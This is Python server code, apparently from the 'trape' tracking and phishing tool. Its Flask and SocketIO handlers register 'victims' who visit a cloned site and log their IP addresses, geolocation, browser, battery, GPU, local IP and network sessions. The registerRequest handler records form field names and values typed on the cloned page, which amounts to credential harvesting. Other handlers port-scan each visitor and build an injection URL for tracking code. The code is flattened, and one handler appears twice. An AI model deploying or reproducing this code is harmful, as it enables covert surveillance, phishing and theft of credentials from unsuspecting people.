def connectionRegister(): vId = request.form['vId'] con = request.form['con'] host = request.form['host'] db.sentences_victim('connection_victim', [vId, con, host], 2) return json.dumps({'status': 'OK', 'vId': vId})
def receivePing(): vrequest = request.form['id'] sentences_victim('report_online', [vrequest]) return json.dumps({ 'status': 'OK', 'vId': vrequest })
def receivePiregisterGPUng(): vrequest = request.form['id'] db.sentences_victim('report_online', [vrequest], 2) db.sentences_victim( 'update_lastping', [vrequest, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) return json.dumps({'status': 'OK', 'vId': vrequest})
def getHostsAlive(ip, vId): try: db.sentences_victim('delete_hostalive', vId, 2) split_ip = ip.split('.') net = split_ip[0] + '.' + split_ip[1] + '.' + split_ip[2] + '.' if ip != '127.0.0.1': ping = 'ping -c 1 -t 3' # for sub_net in range(1, 256): # address = net + str(sub_net) # response = os.popen(ping + ' ' + address) # for line in response.readlines(): # if ('time=' in line.lower()): # lPos = line.find('time=') # tmpLine = line[lPos + 5:lPos + 15] # lPos = tmpLine.find('ms') # tmpLine = tmpLine[0:lPos + 2] # db.sentences_victim('register_hostalive', # [vId, address, tmpLine, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) # break pass else: db.sentences_victim( 'register_hostalive', [vId, 'OWN HOST', 0, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) except ValueError: pass
def navigationMode(): vId = request.form['id'] b_data = request.form['d'] b_data_2 = request.form['dn'] db.sentences_victim('update_navigationmode', [vId, b_data, b_data_2], 2) return json.dumps({'status': 'OK', 'vId': vId})
def networkRegister(): vId = request.form['vId'] vIp = request.form['ip'] vnetwork = request.form['red'] if vId == '': vId = utils.generateToken(5) cant = int( db.sentences_victim('count_victim_network', [vId, vnetwork], 3, 0)) if cant > 0: db.sentences_victim( 'update_network', [vId, vnetwork, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) else: db.sentences_victim('insert_networks', [ vId, vIp, request.environ['REMOTE_ADDR'], vnetwork, time.strftime("%Y-%m-%d - %H:%M:%S") ], 2) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "+" + utils.Color['white'] + "]" + utils.Color['whiteBold'] + " " + vnetwork + utils.Color['white'] + " session detected from " + utils.Color['blue'] + vIp + utils.Color['white'] + ' ' + "with ID: " + utils.Color['green'] + vId + utils.Color['white']) return json.dumps({'status': 'OK', 'vId': vId})
def batteryStatusRegister(): vId = request.form['id'] b_data = request.form['d'] b_type = request.form['t'] db.sentences_victim('update_battery', [vId, b_data, b_type], 2) return json.dumps({'status': 'OK', 'vId': vId})
def locationRegister(): vId = request.form['vId'] lat = request.form['lat'] lon = request.form['lon'] db.sentences_victim('location_victim', [vId, lat, lon], 2) return json.dumps({'status': 'OK', 'vId': vId})
def home_get_dat(): db.sentences_victim('clean_usersnoping', None, 2) d = db.sentences_stats('get_data') n = db.sentences_stats('all_networks') rows = db.sentences_stats('get_clicks') c = rows[0][0] rows = db.sentences_stats('get_sessions') s = rows[0][0] vId = ('online', ) rows = db.sentences_stats('get_online', vId) o = rows[0][0] if trape.nGrokUrl != '': injectCode = str(trape.nGrokUrl) + '/' + str(trape.injectURL) else: injectCode = str(trape.localIp) + ':' + str( trape.app_port) + '/' + str(trape.injectURL) return json.dumps({ 'status': 'OK', 'd': d, 'n': n, 'c': c, 's': s, 'o': o, "ic": injectCode })
def disconnect_request(d): session['receive_count'] = session.get('receive_count', 0) + 1 emit('my_response', { 'data': 'Disconnected!', 'count': session['receive_count'] }) utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "-" + utils.Color['white'] + "]" + utils.Color['red'] + " " + "A victim has closed her connection with the following id:" + " " + utils.Color['green'] + d['vId'] + utils.Color['white']) sentences_victim('disconnect_victim', d['vId'], 2)
def registerRequest(): vrequest = victim_request(request.form['vId'], request.form['site'], request.form['fid'], request.form['name'], request.form['value'], request.form['sId']) db.sentences_victim( 'insert_requests', [vrequest, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "=" + utils.Color['white'] + "]" + " " + 'Receiving data from: ' + utils.Color['green'] + vrequest.id + utils.Color['white'] + ' ' + 'on' + ' ' + utils.Color['blue'] + vrequest.site + utils.Color['white'] + '\t\n' + vrequest.fid + '\t' + vrequest.name + ':\t' + vrequest.value) return json.dumps({'status': 'OK', 'vId': vrequest.id})
def register(): vId = request.form['vId'] if vId == '': vId = utils.generateToken(5) victimConnect = victim(vId, request.environ['REMOTE_ADDR'], request.user_agent.platform, request.user_agent.browser, request.user_agent.version, utils.portScanner(request.environ['REMOTE_ADDR']), request.form['cpu'], time.strftime("%Y-%m-%d - %H:%M:%S")) victimGeo = victim_geo( vId, request.form['city'], request.form['country_code2'], request.form['country_name'], request.form['ip'], request.form['latitude'], request.form['longitude'], request.form['isp'], request.form['country_code3'], request.form['state_prov'], '', request.form['zipcode'], request.form['organization'], str(request.user_agent), '') utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " A " + utils.Color['whiteBold'] + "user" + utils.Color['white'] + " has been connected from " + utils.Color['blue'] + victimGeo.ip + utils.Color['white'] + ' with the following identifier: ' + utils.Color['green'] + vId + utils.Color['white']) vRA = request.environ['REMOTE_ADDR'] gHA = Process(target=getHostsAlive, args=(vRA, vId)) gHA.start() cant = int(db.sentences_victim('count_times', vId, 3, 0)) db.sentences_victim( 'insert_click', [vId, trape.url_to_clone, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) db.sentences_victim('delete_networks', [vId], 2) if cant > 0: utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " " + "It\'s the " + str(cant + 1) + " time for " + utils.Color['green'] + str(vId) + utils.Color['white'] + "@" + utils.Color['blue'] + victimGeo.ip + utils.Color['white']) db.sentences_victim( 'update_victim', [victimConnect, vId, time.time()], 2) db.sentences_victim('update_victim_geo', [victimGeo, vId], 2) else: utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " " + "It\'s the first time for " + utils.Color['green'] + str(vId) + utils.Color['white'] + "@" + utils.Color['blue'] + victimGeo.ip + utils.Color['white']) db.sentences_victim( 'insert_victim', [victimConnect, vId, time.time()], 2) db.sentences_victim('insert_victim_data', [vId], 2) db.sentences_victim('insert_victim_battery', [vId], 2) db.sentences_victim('insert_victim_geo', [victimGeo, vId], 2) return json.dumps({'status': 'OK', 'vId': vId})
def setGpuInfo(): vId = request.form['vId'] vData = request.form['data'] db.sentences_victim('update_gpu', [vId, vData], 2) return json.dumps({'status': 'OK', 'vId': vId})
def changeLocalIp(): vrequest = request.form['id'] vIp = request.form['ip'] db.sentences_victim('update_localIp', [vrequest, vIp], 2) return json.dumps({'status': 'OK', 'vId': vrequest})
def register(): vId = request.form['vId'] if vId == '': vId = utils.generateToken(5) victimConnect = victim( vId, request.environ['REMOTE_ADDR'], request.user_agent.platform, request.user_agent.browser, request.user_agent.version, utils.portScanner(request.environ['REMOTE_ADDR']), request.form['cpu'], time.strftime("%Y-%m-%d - %H:%M:%S")) victimGeo = victim_geo(vId, 'city', request.form['countryCode'], request.form['country'], request.form['query'], request.form['lat'], request.form['lon'], request.form['org'], request.form['region'], request.form['regionName'], request.form['timezone'], request.form['zip'], request.form['isp'], str(request.user_agent)) utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " A victim has been connected from " + utils.Color['blue'] + victimGeo.ip + utils.Color['white'] + ' with the following identifier: ' + utils.Color['green'] + vId + utils.Color['white']) cant = int(sentences_victim('count_times', vId, 3, 0)) sentences_victim( 'insert_click', [vId, trape.url_to_clone, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) sentences_victim('delete_networks', [vId], 2) if cant > 0: utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " " + "It\'s his " + str(cant + 1) + " time") sentences_victim( 'update_victim', [victimConnect, vId, time.time()], 2) sentences_victim('update_victim_geo', [victimGeo, vId], 2) else: utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " " + "It\'s his first time") sentences_victim( 'insert_victim', [victimConnect, vId, time.time()], 2) sentences_victim('insert_victim_geo', [victimGeo, vId], 2) return json.dumps({ 'status': 'OK', 'vId': vId })
def home_putName(): vId = request.form['vId'] name = request.form['n'] db.sentences_victim('update_name', [vId, name], 2) return json.dumps({'status': 'OK', 'id': vId})
def home_rm_rows(): vId = request.form['vId'] db.sentences_victim('delete_victim', vId, 2) db.sentences_victim('delete_geo', vId, 2) db.sentences_victim('delete_networks', [vId], 2) return json.dumps({'status': 'OK', 'id': vId})
import core.stats import core.victim from victim_objects import attacks_hook_message from core.utils import utils from core.db import sentences_victim # Main parts, to generate relationships among others trape = core.stats.trape app = core.stats.app async_mode = None socketio = SocketIO(app, async_mode=async_mode) thread = None thread_lock = Lock() sentences_victim('clean_online', None, 2) def background_thread(): count = 0 @socketio.on("join", namespace="/trape") def join(message): join_room(message['room']) session['receive_count'] = session.get('receive_count', 0) + 1 @socketio.on("my_room_event", namespace="/trape") def send_room_message(message): session['receive_count'] = session.get('receive_count', 0) + 1